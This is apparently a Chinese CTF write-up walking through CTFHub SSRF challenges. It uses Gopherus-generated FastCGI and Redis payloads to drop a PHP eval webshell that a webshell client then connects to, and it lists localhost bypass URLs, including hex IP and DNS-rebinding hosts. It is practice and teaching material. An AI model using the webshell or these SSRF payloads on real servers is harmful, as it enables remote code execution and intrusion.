FastCGI协议
首先写一个php的一句话木马,并进行base64编码
<?php @eval($_POST[cmd]);?>
编码完成后把他写入shell.php文件中
echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php
使用Gopherus工具生成payload:
执命令
python2 gopherus.py --exploit fastcgi
给他 /var/www/html/index.php 文件
得到payload,复制然后进行url编码进行访问
访问到页面说明写入成功,那么我们访问shell.php文件
然后把url栏的网址复制下来,在菜刀上进行连接
进入根目录后往下翻,找到flag
然后打开复制提交flag
Redis协议
这一关和上一关是一样的只是这关是redis协议
我们进入kali,执行以下命令
python2 gopherus.py --exploit redis
执行完成之后,我们选择phpshell
然后给他/var/www/html
之后就只需要我们输入我们的php一句话木马就可以得到payload
<?php @eval($_POST[cmd]);?>
我们把得到的payload进行url编码
编码之后复制下来在url后面进行拼接访问
然后访问shell.php文件
访问成功就可以用菜刀进行连接,复制网址,进行连接
进入根目录找到flag文件,打开即可得到flag
URL Bypass
这关显示url必须以这个网址为开头,那么我们在url后面构造一个payload就行
http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
这关不能用十进制进行访问
那么我们去进行进制的转换,把127从十进制转为十六进制
然后在7f前加上0x让他解析到这里为十六进制然后 . 也换成0,那么127.0.0.1就变成了如下
http://0x7f000001/flag.php
这里也可以直接访问localhost(因为localhost也是指的本机可以替换127.0.0.1)
302跳转 Bypass
这关要绕过127.0.0.1去访问,我们可以用localhost
DNS重绑定 Bypass
我们进入这个网站进行dns重绑定https://lock.cmpxchg8b.com/rebinder.htm
A写127.0.0.1 B写127.0.0.2 然后复制到url后面进行拼接
7f000001.7f000002.rbndr.us/flag.php